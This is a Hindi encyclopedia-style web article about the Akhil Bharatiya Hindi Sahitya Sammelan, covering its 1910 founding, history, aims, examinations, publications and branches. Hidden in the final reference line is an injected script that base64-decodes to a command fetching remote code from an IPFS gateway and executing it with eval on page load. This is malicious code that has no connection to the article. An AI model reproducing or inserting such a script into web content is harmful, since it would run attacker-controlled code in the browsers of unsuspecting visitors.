अखिल भारतीय हिन्दी साहित्य सम्मेलन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
अखिल भारतीय हिन्दी साहित्य सम्मेलन
अखिल भारतीय हिन्दी साहित्य सम्मेलन का प्रतीक चिह्न
उद्देश्य देशव्यापी व्यवहारों और कार्यों में सहजता लाने के लिए राष्ट्रलिपि देवनागरी और राष्ट्रभाषा हिन्दी का प्रचार करना।
स्थापना 1 मई, 1910
मुख्यालय प्रयाग (इलाहाबाद)
प्रसिद्धि हिंदी सेवी संस्था
संबंधित लेख हिंदी, देवनागरी लिपि, इलाहाबाद, नागरी प्रचारिणी सभा, काशी नागरी प्रचारिणी सभा
अन्य जानकारी 10 अक्टूबर, 1910 को वाराणसी में मदनमोहन मालवीय के सभापतित्व में पहला सम्मेलन हुआ था।

अखिल भारतीय हिन्दी साहित्य सम्मेलन हिन्दी भाषा एवं साहित्य तथा देवनागरी के प्रचार-प्रसार को समर्पित एक प्रमुख सार्वजनिक संस्था है। इसका मुख्यालय प्रयाग (इलाहाबाद) में है, जिसमें छापाखाना, पुस्तकालय, संग्रहालय एवं प्रशासनिक भवन हैं।

इतिहास

हिंदी साहित्य सम्मेलन ने ही सर्वप्रथम हिंदी लेखकों को प्रोत्साहित करने के लिए उनकी रचनाओं पर पुरस्कारों आदि की योजना चलाई। हिन्दी साहित्य सम्मेलन की स्थापना 1 मई, 1910 ई. में नागरी प्रचारिणी सभा के तत्वावधान में हुई। 1 मई सन् 1910 को काशी नागरी प्रचारिणी सभा, वाराणसी की एक बैठक में हिन्दी साहित्य सम्मेलन का एक आयोजन करने का निश्चय किया गया। इसी के निश्चयानुसार 10 अक्टूबर, 1910 को वाराणसी में ही मदनमोहन मालवीय के सभापतित्व में पहला सम्मेलन हुआ।

दूसरा सम्मेलन प्रयाग में करने का प्रस्ताव स्वीकार हुआ और सन् 1911 में दूसरा सम्मेलन इलाहाबाद में गोविन्द नारायण मिश्र के सभापतित्व में सम्पन्न हुआ। दूसरे सम्मेलन के लिए प्रयाग में 'हिन्दी साहित्य सम्मेलन' नाम की जो समिति बनायी गयी, वही एक संस्था के रूप में, प्रयाग में विराजमान है। हिन्दी साहित्य सम्मेलन, स्वतन्त्रता-आन्दोलन के समान ही भाषा-आन्दोलन का साक्षी और राष्ट्रीय गर्व-गौरव का प्रतीक है।

राष्ट्रीय महत्त्व की संस्था

पुरुषोत्तम दास टंडन सम्मेलन के जन्म से ही मन्त्री रहे और इसके उत्थान के लिए जिये; इसीलिए उन्हें 'सम्मेलन के प्राण' के नाम से संबोधित किया जाता है। गांधीजी जैसे लोग भी इससे जुड़े। उन्होने सन 1917 में इन्दौर में सम्मेलन की अध्यक्षता की। हिंदी साहित्य संमेलन अधिनियम, 1962 के द्वारा इसे राष्ट्रीय महत्त्व की संस्था घोषित किया गया।

उद्देश्य

  1. देशव्यापी व्यवहारों और कार्यों में सहजता लाने के लिए राष्ट्रलिपि देवनागरी और राष्ट्रभाषा हिन्दी का प्रचार करना।
  2. हिन्दी भाषी प्रदेशों में सरकारी तन्त्र, सरकारी, अर्द्ध सरकारी, गैर सरकारी निगम, प्रतिष्ठान, कारखानों, पाठशालाओं, विश्वविद्यालयों, नगर-निगमों, व्यापार और न्यायालयों तथा अन्य संस्थाओं, समाजों, समूहों में देवनागरी लिपि और हिन्दी का प्रयोग कराने का प्रयत्न करना।
  3. हिन्दी साहित्य की श्रीवृद्धि के लिए मानविकी, समाजशास्त्र, वाणिज्य, विधि तथा विज्ञान और तकनीकी विषयों की पुस्तकें लिखवाना और प्रकाशित करना।
  4. हिन्दी की हस्तलिखित और प्राचीन सामग्री तथा हिन्दी भाषा और साहित्य के निर्माताओं के स्मृति-चिह्नों की खोज करना और उनका तथा प्रकाशित पुस्तकों का संग्रह करना।
  5. अहिन्दी भाषी प्रदेशों में वहाँ की प्रदेश सरकारों, बुद्धिजीवियों, लेखकों, साहित्यकारों आदि से सम्पर्क करके उन्हें देवनागरी लिपि में हिन्दी के प्रयोग के लिए तथा सम्पर्क भाषा के रूप में भी हिन्दी के प्रयोग के लिए प्रेरित करना।
  6. हिन्दीतर भाषा में उपलब्ध साहित्य का हिन्दी में अनुवाद करवाने और प्रकाशन करने के लिए हर सम्भव प्रयत्न करना और ग्रन्थकारों, लेखकों, कवियों, पत्र-सम्पादकों, प्रचारकों को पारितोषिक, प्रशंसापत्र, पदक, उपाधि से सम्मानित करना।

विभिन्न गतिविधियाँ

इन दोनों संस्थाओं द्वारा हिंदी की जो विविध परीक्षाएँ ली जाती हैं, उनमें देश और विदेश के दो लाख से अधिक परीक्षार्थी प्रतिवर्ष लगभग 700 परीक्षा केंद्रों में भाग लेते हैं। ये प्रवेशिका, प्रथमा, मध्यमा तथा उत्तमा कहलाती हैं। हिंदी साहित्य विषय के अतिरिक्त आयुर्वेद, अर्थशास्त्र, राजनीति, कृषि, एवं शिक्षाशास्त्र में उपाधि परीक्षाएँ सम्मेलन द्वारा ली जाती हैं।

प्रकाशन

त्रैमासिक शोध पत्रिका "सम्मेलन पत्रिका" राष्ट्रभाषा सन्देश (मासिक) सम्मेलन द्वारा प्रकाशित पुस्तकों की संख्या सैंकड़ों में है।

शाखाएँ

अखिल भारतीय हिन्दी साहित्य सम्मेलन की शाखाएँ उत्तर प्रदेश, बिहार, दिल्ली, पंजाब, मध्य प्रदेश, महाराष्ट्र तथा बंगाल राज्यों में हैं। अहिंदी भाषी प्रदेशों में कार्य करने के लिए इसकी एक शाखा वर्धा में भी है, जिसका नाम "राष्ट्रभाषा प्रचार समिति" है।

विशेषताएँ

  • हिन्दी साहित्य सम्मेलन के प्रमुख विभागों में से परीक्षा विभाग सबसे महत्वपूर्ण विभाग है। यह सम्मेलन की मान और प्रतिष्ठा का वाहक है।
  • सम्मेलन की वास्तविक परीक्षाओं का दौर 1918 से प्रारंभ हुआ। सम्मेलन द्वारा प्रथमा, मध्यमा एवं उत्तमा परीक्षाएँ संचालित होती हैं। ये परीक्षाएँ क्रमश: एस. एल. सी., बी. ए. तथा बी. ए. (आनर्स) के समकक्ष हिन्दी स्तर तक मान्य हैं।
  • सम्मेलन की परीक्षाएँ मॉरिशस, फिजी, सूरीनाम तथा बर्मा एवं गुयाना में भी होती हैं।
  • ‘राष्ट्रभाषा संदेश’ के प्रकाशन में सामग्री संचयन में और राष्ट्रभाषा आंदोलन संबंधी सामग्री को नए ढंग से प्रस्तुत करने का प्रयास किया है।
  • हिन्दी साहित्य सम्मेलन का साहित्य विभाग सम्मेलन की साहित्यिक गतिविधियों और साहित्यिक मान्यताओं को विकसित करने का माध्यम है।
  • इस विभाग का मूल उद्देश्य हिन्दी साहित्य संबंधी ग्रंथों का प्रकाशन, ज्ञान की अनुपलब्ध किंतु महत्वपूर्ण कृतियों का प्रकाशन एवं शोध और अनुसंधान संबंधी कार्यों को विकसित करना है।
  • इसके अतिरिक्त यह विभाग सम्मेलन नामक त्रैमासिक पत्रिका का प्रकाशन करता है जिसमें साहित्य एवं भाषा संबंधी शोधपत्र प्रकाशित किए जाते हैं। [1]
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. लोंढे, शंकरराव। हिन्दी की स्वैच्छिक संस्थाएँ (हिंदी) भारतकोश। अभिगमन तिथि: 29 मार्च, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख